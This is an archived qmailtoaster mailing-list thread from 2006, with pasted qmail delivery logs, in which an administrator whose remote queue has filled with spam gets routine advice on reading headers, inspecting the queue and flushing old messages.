  postmaster@@400044a5743b07012104 status: local 0/10 remote 
  1/60@400044a5743b070e5fa4 delivery 44: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a5743b070e6b5c status: local 0/10 remote 
  0/60@400044a57477079dc2ac starting delivery 45: msg 2352426 to remote 
  postmaster@@400044a57477079dce64 status: local 0/10 remote 
  1/60@400044a5747707ab014c delivery 45: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a5747707ab0d04 status: local 0/10 remote 
  0/60@400044a574b307eca9e4 starting delivery 46: msg 2352429 to remote 
  postmaster@@400044a574b307ecb984 status: local 0/10 remote 
  1/60@400044a574b307fa07c4 delivery 46: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a574b307fa1764 status: local 0/10 remote 
  0/60@400044a574c6088c4d14 starting delivery 47: msg 2352534 to remote 
  [EMAIL PROTECTED]@400044a574c6088c5cb4 status: local 0/10 remote 
  1/60@400044a574c6089983e4 delivery 47: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a574c608999384 status: local 0/10 remote 
  0/60@400044a574ef08dbd474 starting delivery 48: msg 2352432 to remote 
  postmaster@@400044a574ef08dbe02c status: local 0/10 remote 
  1/60@400044a574ef08e8f7bc delivery 48: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a574ef08e90374 status: local 0/10 remote 
  0/60@400044a5750a097541cc starting delivery 49: msg 2352703 to remote 
  [EMAIL PROTECTED]@400044a5750a0975516c status: local 0/10 remote 
  1/60@400044a5750a0982ce8c delivery 49: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a5750a0982da44 status: local 0/10 remote 
  0/60@400044a5752c0a54207c starting delivery 50: msg 2352435 to remote 
  postmaster@@400044a5752c0a54301c status: local 0/10 remote 
  1/60@400044a5752c0a616ebc delivery 50: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a5752c0a617a74 status: local 0/10 remote 
  0/60@400044a5753d0a965d84 starting delivery 51: msg 2352706 to remote 
  [EMAIL PROTECTED]@400044a5753d0a966d24 status: local 0/10 remote 
  1/60@400044a5753d0aa37514 delivery 51: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a5753d0aa384b4 status: local 0/10 remote 
  0/60@400044a575670abeffdc starting delivery 52: msg 2352438 to remote 
  postmaster@@400044a575670abf0f7c status: local 0/10 remote 
  1/60@400044a575670acc4e1c delivery 52: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a575670acc5dbc status: local 0/10 remote 
  0/60@400044a575790ace615c starting delivery 53: msg 2352709 to remote 
  [EMAIL PROTECTED]@400044a575790ace6d14 status: local 0/10 remote 
  1/60@400044a575790adba7cc delivery 53: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a575790adbb76c status: local 0/10 remote 
  0/60@400044a575a30af5b3c4 starting delivery 54: msg 2352441 to remote 
  postmaster@@400044a575a30af5c364 status: local 0/10 remote 
  1/60@400044a575a30b0290bc delivery 54: deferral: 
  Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 
  1.2)/@400044a575a30b02a05c status: local 0/10 remote 
  0/60@400044a575b50b099d6c starting delivery 55: msg 2352712 to remote 
  [EMAIL PROTECTED]@400044a575b50b09ad0c status: local 

Re: [qmailtoaster] spam problem

[Jake Vickers]

Natalio Gatti wrote:


I tried your first suggestion, but I only get something like this:
[EMAIL PROTECTED] 11]# cd /var/qmail/queue/11/
[EMAIL PROTECTED] 11]# cat 627704
[EMAIL PROTECTED]

I use a tool called qmHandle to view and manage the queue, and it
throws the header I already post. I have to delete those messages, so
I can not try qmqtool now.
I have copied smtp & send logs, and via qmail-mrtg i can suppose the
time of the attack. I will try analyzing those logs to see f I can get
any info.

The actual message will be in /var/qmail/queue/mess/###
That would be the info you need. Hopefully most of them are coming from 
the same IP address.
You could lower your qmaileueue to a low number (6000 or so), and then 
run qmailctl doqueue and that will flush out any messages over 10 
minutes old. Just make sure to change your qmailqueue file back to 
something reasonable afterwards.


-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

[qmailtoaster] Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)

[Dan Herbon]

Hello,

 

When I tail my /var/log/qmail/send/current file I keep
getting the following lines in my log file:

 

@400044a573c306758aa4
starting delivery 41: msg 2352387 to remote postmaster@
@400044a573c306759a44 status: local 0/10 remote 1/60
@400044a573c30675a214 starting delivery 42: msg 2352417 to remote
postmaster@
@400044a573c30675a5fc status: local 0/10 remote 2/60
@400044a573c306808b0c delivery 41: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a573c306809aac status: local 0/10 remote 1/60
@400044a573c30685edf4 delivery 42: deferral: Sorry,_I_couldn't_find_any_host_by_that_name._(#4.
1.2)/
@400044a573c30685fd94 status: local 0/10 remote 0/60
@400044a5740006c8f234 starting delivery 43: msg 2352420 to remote
postmaster@
@400044a5740006c901d4 status: local 0/10 remote 1/60
@400044a5740006d64844 delivery 43: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5740006d657e4 status: local 0/10 remote 0/60
@400044a5743b07011164 starting delivery 44: msg 2352423 to remote
postmaster@
@400044a5743b07012104 status: local 0/10 remote 1/60
@400044a5743b070e5fa4 delivery 44: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5743b070e6b5c status: local 0/10 remote 0/60
@400044a57477079dc2ac starting delivery 45: msg 2352426 to remote
postmaster@
@400044a57477079dce64 status: local 0/10 remote 1/60
@400044a5747707ab014c delivery 45: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5747707ab0d04 status: local 0/10 remote 0/60
@400044a574b307eca9e4 starting delivery 46: msg 2352429 to remote
postmaster@
@400044a574b307ecb984 status: local 0/10 remote 1/60
@400044a574b307fa07c4 delivery 46: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574b307fa1764 status: local 0/10 remote 0/60
@400044a574c6088c4d14 starting delivery 47: msg 2352534 to remote [EMAIL PROTECTED]
@400044a574c6088c5cb4 status: local 0/10 remote 1/60
@400044a574c6089983e4 delivery 47: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574c608999384 status: local 0/10 remote 0/60
@400044a574ef08dbd474 starting delivery 48: msg 2352432 to remote
postmaster@
@400044a574ef08dbe02c status: local 0/10 remote 1/60
@400044a574ef08e8f7bc delivery 48: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a574ef08e90374 status: local 0/10 remote 0/60
@400044a5750a097541cc starting delivery 49: msg 2352703 to remote [EMAIL PROTECTED]
@400044a5750a0975516c status: local 0/10 remote 1/60
@400044a5750a0982ce8c delivery 49: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5750a0982da44 status: local 0/10 remote 0/60
@400044a5752c0a54207c starting delivery 50: msg 2352435 to remote
postmaster@
@400044a5752c0a54301c status: local 0/10 remote 1/60
@400044a5752c0a616ebc delivery 50: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5752c0a617a74 status: local 0/10 remote 0/60
@400044a5753d0a965d84 starting delivery 51: msg 2352706 to remote [EMAIL PROTECTED]
@400044a5753d0a966d24 status: local 0/10 remote 1/60
@400044a5753d0aa37514 delivery 51: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a5753d0aa384b4 status: local 0/10 remote 0/60
@400044a575670abeffdc starting delivery 52: msg 2352438 to remote
postmaster@
@400044a575670abf0f7c status: local 0/10 remote 1/60
@400044a575670acc4e1c delivery 52: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a575670acc5dbc status: local 0/10 remote 0/60
@400044a575790ace615c starting delivery 53: msg 2352709 to remote [EMAIL PROTECTED]
@400044a575790ace6d14 status: local 0/10 remote 1/60
@400044a575790adba7cc delivery 53: deferral: Sorry,_I_couldn't_find_any_host_by_that_name._(#4.
1.2)/
@400044a575790adbb76c status: local 0/10 remote 0/60
@400044a575a30af5b3c4 starting delivery 54: msg 2352441 to remote
postmaster@
@400044a575a30af5c364 status: local 0/10 remote 1/60
@400044a575a30b0290bc delivery 54: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a575a30b02a05c status: local 0/10 remote 0/60
@400044a575b50b099d6c starting delivery 55: msg 2352712 to remote [EMAIL PROTECTED]
@400044a575b50b09ad0c status: local 0/10 remote 1/60
@400044a575b50b17e5ac delivery 55: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a575b50b17f164 status: local 0/10 remote 0/60
@400044a575df0b2f848c starting delivery 56: msg 2352444 to remote
postmaster@
@400044a575df0b2f942c status: local 0/10 remote 1/60
@400044a575df0b3cda9c delivery 56: deferral:
Sorry,_I_couldn't_find_any_host_by_that_name._(#4. 1.2)/
@400044a575df0b3cea3c status: local 0/10 remote 0/60
@400044a575

Re: [qmailtoaster] spam problem

[Natalio Gatti]

>>
> But I´m not receiving those messages, they are in the remote queue
> trying to go out.
>
>
There are a number (23?) numbered directories under
/var/qmail/queue/remote.  Go into one of those and look at a random message.

I use a program called qmqtool (
http://t2-project.org/packages/qmqtool.html ) that helps with viewing
and managing the queue.  This might be of use to you here.



I tried your first suggestion, but I only get something like this:
[EMAIL PROTECTED] 11]# cd /var/qmail/queue/11/
[EMAIL PROTECTED] 11]# cat 627704
[EMAIL PROTECTED]

I use a tool called qmHandle to view and manage the queue, and it
throws the header I already post. I have to delete those messages, so
I can not try qmqtool now.
I have copied smtp & send logs, and via qmail-mrtg i can suppose the
time of the attack. I will try analyzing those logs to see f I can get
any info.

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Warren (mailing lists)]

Natalio Gatti wrote:

> On 7/3/06, Jake Vickers <[EMAIL PROTECTED]> wrote:
>
>> > How can I get the full header?
>> Depends on the email program you're using. If you're using Thunderbird,
>> double click the message to open it full, then hit CTRL-U and it will
>> display the full info.
>> If in Squirrelmail, click the link for "View Header".
>> If in Outlook, double click the message to open it full, then click on
>> "View" and in there will be something about viewing headers or view
>> source. Copy and paste from there.
>>
> But I´m not receiving those messages, they are in the remote queue
> trying to go out.
>
> -
> QmailToaster hosted by: VR Hosted 
> -
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
>
There are a number (23?) numbered directories under
/var/qmail/queue/remote.  Go into one of those and look at a random message.

I use a program called qmqtool (
http://t2-project.org/packages/qmqtool.html ) that helps with viewing
and managing the queue.  This might be of use to you here.

W

-
 QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Natalio Gatti]

On 7/3/06, Jake Vickers <[EMAIL PROTECTED]> wrote:

> How can I get the full header?
Depends on the email program you're using. If you're using Thunderbird,
double click the message to open it full, then hit CTRL-U and it will
display the full info.
If in Squirrelmail, click the link for "View Header".
If in Outlook, double click the message to open it full, then click on
"View" and in there will be something about viewing headers or view
source. Copy and paste from there.


But I´m not receiving those messages, they are in the remote queue
trying to go out.

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Jake Vickers]

Natalio Gatti wrote:






How can I get the full header?
Depends on the email program you're using. If you're using Thunderbird, 
double click the message to open it full, then hit CTRL-U and it will 
display the full info.

If in Squirrelmail, click the link for "View Header".
If in Outlook, double click the message to open it full, then click on 
"View" and in there will be something about viewing headers or view 
source. Copy and paste from there.



-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Natalio Gatti]

On 7/3/06, Jake Vickers <[EMAIL PROTECTED]> wrote:

Natalio Gatti wrote:
> Hello List!
> I´m having a big spam problem.
> Today, I can´t send any mail. First thing to do, check logs, and..
> surprise! in my /var/log/qmail/send my outgoing conections were
> saturated (60/60).
> "service qmail queue" throw 50.000 mails in my remote queue.
>
> I start playing with qmHandle to delete those mails. And they were all
> of the same type, here is the header:
>
> --
> Received: (qmail 18687 invoked by uid 48); 3 Jul 2006 10:28:32 -
> Date: 3 Jul 2006 10:28:32 -
> Message-ID: <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: Receipt of Your Payment to LWPELECTRONICS
> From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
> --
>
> Is there any way to track those messages? I want to know if they were
> sent by a local (infected) user, or if they came from the outside.
If you look at the full header, you'll see what IP address sent the
messages.
If you have not already, look at my spam notes on my site
(v2gnu.com/qmail). It suggests some additional RBLs to use which may/may
not help out a little.
If you're unsure where the emails were coming from, post the full header
info (you can send directly to me if you don't want all your info on the
list) and I'll take a look. Also, check your
/var/qmail/control/rcpthosts file and make sure you're not just
arbitrarily accept emails for yahoo.com.



How can I get the full header?

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

Re: [qmailtoaster] spam problem

[Jake Vickers]

Natalio Gatti wrote:

Hello List!
I´m having a big spam problem.
Today, I can´t send any mail. First thing to do, check logs, and..
surprise! in my /var/log/qmail/send my outgoing conections were
saturated (60/60).
"service qmail queue" throw 50.000 mails in my remote queue.

I start playing with qmHandle to delete those mails. And they were all
of the same type, here is the header:

--
Received: (qmail 18687 invoked by uid 48); 3 Jul 2006 10:28:32 -
Date: 3 Jul 2006 10:28:32 -
Message-ID: <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: Receipt of Your Payment to LWPELECTRONICS
From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
--

Is there any way to track those messages? I want to know if they were
sent by a local (infected) user, or if they came from the outside.
If you look at the full header, you'll see what IP address sent the 
messages.
If you have not already, look at my spam notes on my site 
(v2gnu.com/qmail). It suggests some additional RBLs to use which may/may 
not help out a little.
If you're unsure where the emails were coming from, post the full header 
info (you can send directly to me if you don't want all your info on the 
list) and I'll take a look. Also, check your 
/var/qmail/control/rcpthosts file and make sure you're not just 
arbitrarily accept emails for yahoo.com.



-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

[qmailtoaster] spam problem

[Natalio Gatti]

Hello List!
I´m having a big spam problem.
Today, I can´t send any mail. First thing to do, check logs, and..
surprise! in my /var/log/qmail/send my outgoing conections were
saturated (60/60).
"service qmail queue" throw 50.000 mails in my remote queue.

I start playing with qmHandle to delete those mails. And they were all
of the same type, here is the header:

--
Received: (qmail 18687 invoked by uid 48); 3 Jul 2006 10:28:32 -
Date: 3 Jul 2006 10:28:32 -
Message-ID: <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: Receipt of Your Payment to LWPELECTRONICS
From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
--

Is there any way to track those messages? I want to know if they were
sent by a local (infected) user, or if they came from the outside.

Please, I´m in bg problems here!

Salutti,

Natalio

-
QmailToaster hosted by: VR Hosted 
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]